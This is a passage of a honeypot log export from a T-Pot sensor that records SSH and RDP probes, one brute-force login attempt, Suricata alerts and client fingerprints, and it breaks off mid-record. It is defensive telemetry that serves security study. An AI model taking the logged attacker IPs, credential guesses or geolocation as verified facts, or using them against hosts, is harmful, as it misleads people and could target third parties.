30836	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:38:58.929654+03	2021-09-20 14:45:03.691141+03	{"_id": "kAYAA3wBvYTbRNuEij-6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "48e847fac769", "@version": "1", "duration": 120.0040225982666, "timestamp": "2021-09-20T11:38:58.929654Z", "@timestamp": "2021-09-20T11:38:58.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30837	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:38:58.992536+03	2021-09-20 14:45:03.692142+03	{"_id": "kgYAA3wBvYTbRNuEjD9W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:36:58.849392+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 218347318474224, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51921, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:58.992536Z", "@timestamp": "2021-09-20T11:38:58.992Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
30838	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:38:54.000491+03	2021-09-20 14:45:03.694142+03	{"_id": "jwYAA3wBvYTbRNuEiD9t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:52.854352+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1615981219678544, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 52149, "timestamp": "2021-09-20T11:38:54.000491Z", "@timestamp": "2021-09-20T11:38:54.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30839	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:38:53.753747+03	2021-09-20 14:45:03.695143+03	{"_id": "jAYAA3wBvYTbRNuEdz8t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "ba4d69bbbea1", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:38:53.753747Z", "@timestamp": "2021-09-20T11:38:53.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30840	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:39:06.809674+03	2021-09-20 14:45:03.696171+03	{"_id": "qAYAA3wBvYTbRNuEqD_E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42264, "dest_port": 22, "timestamp": "2021-09-20T11:39:06.809674", "@timestamp": "2021-09-20T11:39:06.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30854	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:39:12.086745+03	2021-09-20 14:45:03.714144+03	{"_id": "uQYAA3wBvYTbRNuEwD83", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 12952, "dest_port": 3389, "timestamp": "2021-09-20T11:39:12.086745", "@timestamp": "2021-09-20T11:39:12.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30841	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:39:06.810334+03	2021-09-20 14:45:03.697141+03	{"_id": "qgYAA3wBvYTbRNuEqT_7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "11313a32677e", "@version": "1", "timestamp": "2021-09-20T11:39:06.810334Z", "@timestamp": "2021-09-20T11:39:06.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30842	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:39:08.011307+03	2021-09-20 14:45:03.698172+03	{"_id": "rAYAA3wBvYTbRNuErT_k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [gino/gino] failed", "session": "11313a32677e", "@version": "1", "password": "gino", "username": "gino", "timestamp": "2021-09-20T11:39:08.011307Z", "@timestamp": "2021-09-20T11:39:08.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30843	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:39:09.29424+03	2021-09-20 14:45:03.700172+03	{"_id": "rQYAA3wBvYTbRNuEsT_M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "11313a32677e", "@version": "1", "duration": 2.763169050216675, "timestamp": "2021-09-20T11:39:09.294240Z", "@timestamp": "2021-09-20T11:39:09.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30844	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:39:06.528288+03	2021-09-20 14:45:03.701173+03	{"_id": "pQYAA3wBvYTbRNuEpj8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:42264 (192.168.176.2:22) [session: 11313a32677e]", "session": "11313a32677e", "@version": "1", "protocol": "ssh", "src_port": 42264, "dest_port": 22, "timestamp": "2021-09-20T11:39:06.528288Z", "@timestamp": "2021-09-20T11:39:06.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30845	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:39:06.531438+03	2021-09-20 14:45:03.702142+03	{"_id": "pgYAA3wBvYTbRNuEpj8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "11313a32677e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:39:06.531438Z", "@timestamp": "2021-09-20T11:39:06.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30887	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:39:33.43605+03	2021-09-20 14:45:03.757142+03	{"_id": "9wYBA3wBvYTbRNuEDz-Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "d1aade0b5e33", "@version": "1", "duration": 4.307217597961426, "timestamp": "2021-09-20T11:39:33.436050Z", "@timestamp": "2021-09-20T11:39:33.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30846	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:39:06.808075+03	2021-09-20 14:45:03.703174+03	{"_id": "pwYAA3wBvYTbRNuEpz-x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 2097024004182411, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42264, "dest_port": 22, "timestamp": "2021-09-20T11:39:06.808075Z", "@timestamp": "2021-09-20T11:39:06.808Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30847	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:06.53221+03	2021-09-20 14:45:03.705141+03	{"_id": "qQYAA3wBvYTbRNuEqD_E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42264, "timestamp": "2021-09-20T11:39:06.532210", "@timestamp": "2021-09-20T11:39:06.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30848	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:39:04.074058+03	2021-09-20 14:45:03.706141+03	{"_id": "lAYAA3wBvYTbRNuEnT8K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 64762, "dest_port": 3389, "timestamp": "2021-09-20T11:39:04.074058", "@timestamp": "2021-09-20T11:39:04.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30849	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:39:04.074058+03	2021-09-20 14:45:03.707141+03	{"_id": "mwYAA3wBvYTbRNuEnz_h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:03.741002+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1134446670990986, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64762, "dest_port": 3389, "timestamp": "2021-09-20T11:39:04.074058Z", "@timestamp": "2021-09-20T11:39:04.074Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30864	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:39:29.413475+03	2021-09-20 14:45:03.727141+03	{"_id": "8AYAA3wBvYTbRNuE_z_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d1aade0b5e33", "@version": "1", "timestamp": "2021-09-20T11:39:29.413475Z", "@timestamp": "2021-09-20T11:39:29.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30850	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:39:04.439009+03	2021-09-20 14:45:03.708141+03	{"_id": "nAYAA3wBvYTbRNuEnz_h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:39:03.741002+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": 